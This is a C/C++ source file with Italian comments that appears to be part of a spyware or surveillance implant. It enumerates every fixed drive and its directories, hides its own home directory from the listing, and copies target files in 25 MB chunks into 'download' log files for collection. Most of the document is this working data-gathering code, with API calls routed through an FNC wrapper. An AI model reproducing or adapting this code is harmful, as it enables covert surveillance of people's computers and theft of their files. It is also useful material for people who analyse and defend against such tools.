#include #include #include "common.h" #include "bin_string.h" #include "LOG.h" typedef struct { #define DIR_EXP_VERSION 2010031501 DWORD version; DWORD path_len; #define PATH_IS_DIRECTORY 1 #define PATH_IS_EMPTY 2 DWORD flags; DWORD file_size_lo; DWORD file_size_hi; FILETIME last_write; } directory_header_struct; WCHAR *CompleteDirectoryPath(WCHAR *start_path, WCHAR *file_name, WCHAR *dest_path) { WCHAR *term; _snwprintf_s(dest_path, MAX_PATH, _TRUNCATE, L"%s", start_path); if ( (term = wcsrchr(dest_path, L'\\')) ) { term++; *term = NULL; _snwprintf_s(dest_path, MAX_PATH, _TRUNCATE, L"%s%s", dest_path, file_name); } return dest_path; } WCHAR *RecurseDirectory(WCHAR *start_path, WCHAR *recurse_path) { _snwprintf_s(recurse_path, MAX_PATH, _TRUNCATE, L"%s\\*", start_path); return recurse_path; } // Ritorna FALSE se la esplora ed e' vuota oppure se non e' valida BOOL ExploreDirectory(HANDLE hdest, WCHAR *start_path, DWORD depth) { WIN32_FIND_DATAW finddata; HANDLE hfind; BOOL is_full = FALSE; directory_header_struct directory_header; WCHAR file_path[MAX_PATH], recurse_path[MAX_PATH]; WCHAR hidden_path[MAX_PATH]; if (hdest==NULL || hdest==INVALID_HANDLE_VALUE || start_path==NULL) return FALSE; if (depth==0) return TRUE; _snwprintf_s(hidden_path, MAX_PATH, _TRUNCATE, L"%S", H4_HOME_DIR); // Bisogna partire dalla lista dei drive if (!wcscmp(start_path, L"/")) { WCHAR drive_letter[3]; drive_letter[1]=L':'; drive_letter[2]=0; for (drive_letter[0]=L'A'; drive_letter[0]<=L'Z'; drive_letter[0]++) { if (FNC(GetDriveTypeW)(drive_letter) == DRIVE_FIXED) { ZeroMemory(&directory_header, sizeof(directory_header_struct)); directory_header.version = DIR_EXP_VERSION; directory_header.flags |= PATH_IS_DIRECTORY; directory_header.path_len = wcslen(drive_letter)*2; if (!ExploreDirectory(hdest, RecurseDirectory(drive_letter, recurse_path), depth-1)) directory_header.flags |= PATH_IS_EMPTY; bin_buf tolog; tolog.add(&directory_header, sizeof(directory_header)); tolog.add(drive_letter, directory_header.path_len); Log_WriteFile(hdest, tolog.get_buf(), tolog.get_len()); } } return TRUE; } hfind = FNC(FindFirstFileW)(start_path, &finddata); if (hfind == INVALID_HANDLE_VALUE) return FALSE; do { if (!wcscmp(finddata.cFileName, L".") || !wcscmp(finddata.cFileName, L"..") || !wcscmp(finddata.cFileName, hidden_path)) continue; is_full = TRUE; ZeroMemory(&directory_header, sizeof(directory_header_struct)); directory_header.version = DIR_EXP_VERSION; directory_header.file_size_hi = finddata.nFileSizeHigh; directory_header.file_size_lo = finddata.nFileSizeLow; directory_header.last_write = finddata.ftLastWriteTime; if (finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) directory_header.flags |= PATH_IS_DIRECTORY; CompleteDirectoryPath(start_path, finddata.cFileName, file_path); directory_header.path_len = wcslen(file_path)*2; if (directory_header.flags & PATH_IS_DIRECTORY) if (!ExploreDirectory(hdest, RecurseDirectory(file_path, recurse_path), depth-1)) directory_header.flags |= PATH_IS_EMPTY; bin_buf tolog; tolog.add(&directory_header, sizeof(directory_header)); tolog.add(file_path, directory_header.path_len); Log_WriteFile(hdest, tolog.get_buf(), tolog.get_len()); } while(FNC(FindNextFileW)(hfind, &finddata)); FNC(FindClose)(hfind); return is_full; } #define MAX_DOWNLOAD_CHUNK_SIZE (25*1024*1024) BOOL CopyDownloadFile(WCHAR *src_path, WCHAR *display_name) { FileAdditionalData *download_adh; BYTE *read_buffer; WCHAR *log_file_name; WCHAR chunk_file_name[MAX_PATH]; DWORD adh_len, chunk_count=1, chunk_size, total_chunk_count; DWORD file_len_lo, file_len_hi, dwRead; HANDLE hdst, hsrc; // Vede come si dovra' chiamare il file nel log if (!src_path) return FALSE; log_file_name = src_path; if (display_name) log_file_name = display_name; // Apre il file e ne prende la dimensione hsrc = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hsrc == INVALID_HANDLE_VALUE) return FALSE; file_len_lo = FNC(GetFileSize)(hsrc, &file_len_hi); if (file_len_lo==INVALID_FILE_SIZE || file_len_hi>0) { CloseHandle(hsrc); return FALSE; } // Calcola quanti chunk occupera' total_chunk_count = file_len_lo/MAX_DOWNLOAD_CHUNK_SIZE; total_chunk_count++; // Alloca il buffer di lettura read_buffer = (BYTE *)malloc(MAX_DOWNLOAD_CHUNK_SIZE); if (!read_buffer) { CloseHandle(hsrc); return FALSE; } // Cicla per tutti i chunk do { // Crea il nome del chunk if (total_chunk_count > 1) _snwprintf_s(chunk_file_name, MAX_PATH, _TRUNCATE, L"%s [%d of %d]", log_file_name, chunk_count, total_chunk_count); else _snwprintf_s(chunk_file_name, MAX_PATH, _TRUNCATE, L"%s", log_file_name); // Calcola la dimensione del chunk chunk_size = file_len_lo; if (chunk_size > MAX_DOWNLOAD_CHUNK_SIZE) chunk_size = MAX_DOWNLOAD_CHUNK_SIZE; file_len_lo -= chunk_size; chunk_count++; // Crea l'additional header adh_len = sizeof(FileAdditionalData) + wcslen(chunk_file_name) * sizeof(WCHAR); if ( !(download_adh = (FileAdditionalData *)malloc(adh_len))) break; download_adh->uVersion = LOG_FILE_VERSION; download_adh->uFileNameLen = wcslen(chunk_file_name) * sizeof(WCHAR); memcpy(download_adh+1, chunk_file_name, download_adh->uFileNameLen); // Crea il file di log hdst = Log_CreateFile(PM_DOWNLOAD, (BYTE *)download_adh, adh_len); SAFE_FREE(download_adh); // Legge e scrive il chunk dwRead = 0; if (!FNC(ReadFile)(hsrc, read_buffer, chunk_size, &dwRead, NULL) ) { Log_CloseFile(hdst); break; } if (!Log_WriteFile(hdst, read_buffer, dwRead)) { Log_CloseFile(hdst); break; } Log_CloseFile(hdst); } while(file_len_lo > 0); SAFE_FREE(read_buffer); CloseHandle(hsrc); return TRUE; } .